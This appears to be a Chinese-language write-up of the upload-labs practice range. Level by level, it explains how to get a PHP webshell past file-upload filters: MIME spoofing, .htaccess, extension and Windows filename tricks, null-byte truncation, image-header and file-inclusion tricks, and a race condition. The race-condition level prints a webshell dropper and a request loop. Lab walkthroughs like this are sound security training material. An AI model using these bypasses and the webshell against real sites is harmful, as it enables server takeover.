其它的writeup
https://github.com/LandGrey/upload-labs-writeup
https://cloud.tencent.com/developer/article/1377897
https://www.360zhijia.com/anquan/442566.html
upload-labs安裝
下載地址:https://github.com/c0ny1/upload-labs
准備
-
下載后將整個文件放入phpstudy目錄下即可
-
在項目的更目錄下新建文件夾upload
-
上傳的文件名不要是中文名,否則會出現上傳錯誤
pass-1
操作
-
准備一句話木馬為
-
上傳一句話木馬出現1.php彈出
- 查看javascript存在前端過濾,也能看到相應代碼
- 直接刪除,上傳,上傳成功
- 如果我們知道上傳文件的完整路徑(這里可以直接查看圖片獲得路徑),就可以通過蟻劍或菜刀連接
原理
- 只是通過前端js來驗證文件類型,將js禁用即可繞過
pass-2
操作
- 同一,把過濾函數刪除,用bp截斷,上傳php,將content-type值改為image/png,上傳成功
原理
- 從源代碼可以看到通過MIME-TYPE進行過濾,首先通過$_FILES['upload_file']['type']得到上傳的MIME-TYPE,然后和image/png,image/jpeg進行比較
-
mime是多用途互聯網郵件擴展類型,用於設定某擴展名文件的打開方式,如.png在數據包的中的content-type為image/png
-
$_FILES是一個全局變量數組,各個值的含義為
$_FILES['myFile']['name'] | 上傳文件的原名稱 |
---|---|
$_FILES['myFile']['type'] | 文件的 MIME 類型 |
$_FILES['myFile']['size'] | 已上傳文件的大小,單位為字節 |
$_FILES['myFile']['tmp_name'] | 文件被上傳后在服務端儲存的臨時文件名,一般是系統默認。可以在php.ini的upload_tmp_dir 指定 |
$_FILES['myFile']['error'] | 和該文件上傳相關的錯誤代碼 |
pass-3
操作
將后綴名改為.php5,成功
原理
-
從源代碼看,系統利用trim()刪除了文件兩側空格,利用deldot()刪除文件名末尾的點,利用strtolower()將文件名轉換為小寫,利用str_ireplace()去除字符串::$DATA。
-
但是只是利用黑名單$deny_ext = array('.asp','.aspx','.php','.jsp');禁止上傳后綴為php等的文件
-
所以可以利用apache的解析特性:它將.php3,.php5,.phtml等都可以解析為php
pass-4
操作
-
首先上傳文件.htaccess,內容為stehandler application/x-httpd-php
-
接着上傳將先前的文件1.php改為1.jpg,上傳成功,並可以使用蟻劍連接
原理
-
查看源碼,和三類似,但它的黑名單為 $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");但是並沒有禁止.htaccess
-
.htaccess是apache服務器中的一個配置文件,可以實現301重定向,自定義404錯誤頁面,改變文件擴展名,阻止或允許用戶訪問特定目錄或文件等
-
該文件可以使得目錄下的所有文件都以php執行,不過前提是服務器的httpd.conf文件中的allowoverride設置為all
pass-5
操作
- 采用大小寫繞過,上傳1.PHP
原理
- 查看源碼,發現它的黑名單沒有過濾大小寫,或利用strtolower()將文件名轉換為小寫,所以可以利用大小寫繞過
pass-6
操作
- 采用空格繞過,利用bp截斷,在文件名后添加空格
原理
-
查看源碼,沒有對文件名的空格去除
-
windows中文件擴展名后的空格會做空處理,但是文件名后加空格使得本來的擴展名改變,繞過黑名單
pass-7
操作
- 采用.繞過,利用bp截斷,在文件名后加.
原理
-
查看源碼,沒有去除文件名后的點
-
windows下最后一個.會被自動剔除
pass-8
操作
- 采用
::$DATA
,利用bp截斷,在文件名后加::$DATA
原理
- windows下,如果上傳的文件名后綴為php::$DATA會在服務器生成后綴為Php的文件,內容和上傳內容相同,並被解析
pass-9
操作
- 利用bp截斷,在文件名后加. .(點,空格,點)
原理
- 查看源碼,首先利用trim去除末尾空格,又l利用deldot去除末尾點,又去除空格,所以組合點空格點,去除點去除空格,最后剩下點自動剔除
pass-10
操作
- 利用bp截斷,將文件后綴改為.phphpp
原理
- 查看源碼,其中出現了
$file_name = str_ireplace($deny_ext,"", $file_name);
這一函數,它將上傳文件與黑名單的后綴名相同的都用空替換,所以可以雙寫繞過phphpp中的php被替換為空后剩下php
pass-11
操作
- 利用00截斷,首先將phpstudy的php版本切換到php5.3以下
- 再將php.ini的magic_quotes_gpc改為off
- 利用bp截斷,在保存文件路徑處添加11.php%00
原理
-
截斷漏洞,在系統對文件名讀取時,如果遇到0x00會認為讀取結束,如:1.php0x00.jpg在上傳時認為是jpg,但在新建該文件文件時保存為1.php 。但在php5.3之后的版本已經修復,並且受gpc,addslashes函數影響
-
查看源碼發現,最后保存文件時是將get得到的路徑與隨機數年月日和上傳文件名拼接到一起,所以上傳文件路徑可控,我們將get的路徑最后改為1.php0x00那么拼接到后面的內容就會被丟棄,從而保存為1.php
pass-12
操作
- 利用00截斷,現在此處文件名后面添加一個空格,為了便於尋找,然后打開hex,將此處的20改為00
原理
- 與十一相同
pass-13
操作
方法一
-
上傳圖片webshell,利用文件包含漏洞
-
編寫文件13.jpg,內容為GIF98A 上傳
-
點擊圖片查看上傳后圖片的位置名字
- 點擊此處,利用文件上傳漏洞
- 但是我這出現了個問題
- 所以我回到phpstudy把這個include.php拷貝到文件上傳的目錄upload,然后找到這個頁面
- 我們查看這個代碼,發現他是利用get得到文件參數,然后利用include進行文件包含,所以url處構造?file=剛才查看上傳的文件名
原理
- 查看源碼,它是通過判斷文件的前兩個字節,來判斷是否是png等圖片,所以在上傳的php文件前加入GIF98A即會被判斷為Gif文件
- 文件包含:在php中使用include,include_once,require,require_once函數包含的文件無論文件名稱是什么都會被當做php代碼執行
方法二
-
利用圖片隱寫的方式,將木馬拼接到圖片圖片結束符FFD9之后,通常會忽略文件結束符之后的數據。
-
可以利用命令copy /b 1.jpg +1.php 2.jpg得到,其中1.jpg為載體文件,1.php為包含木馬的文件,2.jpg為得到的文件
pass-14
- 同上
pass-15
-
需要打開配置php.ini中的php_exif模塊
-
同上
pass-16
-
這一關圖片被上傳后被重新渲染,利用隱寫將木馬隱寫到FFD9后會被去除,所以該方法不可以。下面的方法都有隨機性,需要多嘗試幾次
-
采用網上的方法一https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg嘗試了了幾次都沒有成功。
-
采用網上的方法二https://github.com/LandGrey/upload-labs-writeup嘗試了幾次最終成功
- 在此處寫入了phpinfo()
- 查看上傳處的圖片,該語句保持不變
pass-17
操作
- 利用競爭條件上傳,上傳文件,文件內容為
<?php
fputs(fopen('shell.php',w),'<?php @eval($_post["pass"]) ?>');
?>
- 上傳文件的同時,利用腳本不斷訪問該文件
import requests
while 1:
requests.get("http://192.168.89.130/upload-labs/upload/15.php")
- 最后上傳目錄下會生成shell.php文件,內容為
原理
- 查看源碼,文件先通過move_uploaded_file進行保存,然后用in_array判斷文件是否為圖片類型,如果是就用rename進行重命名,如果不是,則使用unlink刪除文件。所以可以利用這個時間差,當文件保存后,就不斷訪問該文件,使得它又生成一個shell.php,之后即使上傳文件已經刪除,shell.php仍然存在。
pass-18
不知為啥,這一關總是無法成功
pass-19
-
可以將保存名稱后綴設置為. .,同六
-
可以設置為.
-
可以大寫繞過
pass-20
操作
- 利用bp截斷,上傳20.jpg
- 將post提交的數據包改為
原理
- 將源碼復制到下面,利用注釋進行分析
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//檢查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){//這一步是檢查上傳的文件是否為規定的類型
$msg = "禁止上傳該類型文件!";
}else{
//檢查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];//如果通過post傳遞的參數save_name為空,$file就為上傳文件本來的名字的值,否則為post傳遞的save_name的值
if (!is_array($file)) {//因為我們都是填寫了保存名稱,即用post傳遞了save_name的值,所以這里判斷我們填寫的保存名稱是否為一個數組
$file = explode('.', strtolower($file));//不是一個數組就利用.對文件名進行分割
}
$ext = end($file);//數組最后一個值即文件后綴名給$ext
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {//再一次進行判斷是否為允許上傳的類型
$msg = "禁止上傳該后綴文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];//將數組count($file)-1的值給了$file_name,最后拼接到數組第一個元素后后,reset()為將讀取數組第一個元素
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上傳成功!";
$is_upload = true;
} else {
$msg = "文件上傳失敗!";
}
}
}
}else{
$msg = "請選擇要上傳的文件!";
}
- 通過以上分析,可以知道,它用end()讀取最后數組最后一個值來進行過濾,又將\(file[count(\)file) - 1]的值拼接到數組第一個元素后后,所以可以上傳save_name為一個數組,數組第一個元素為*.php,第二個元素為空,第三個元素為jpg。此時利用jpg通過判斷,將空拼接到.php后文件仍為.php
最后
-
終於寫完了,其中可能有很多錯誤不足的地方,還請指正
-
https://github.com/c0ny1/upload-labs里有兩張很清晰的導圖,詳細地總結了靶機包含漏洞類型和如何對上傳漏洞進行判斷
-
也歡迎查看個人寫的文件上傳的一個小總結https://www.cnblogs.com/Qi-Lin/p/11297452.html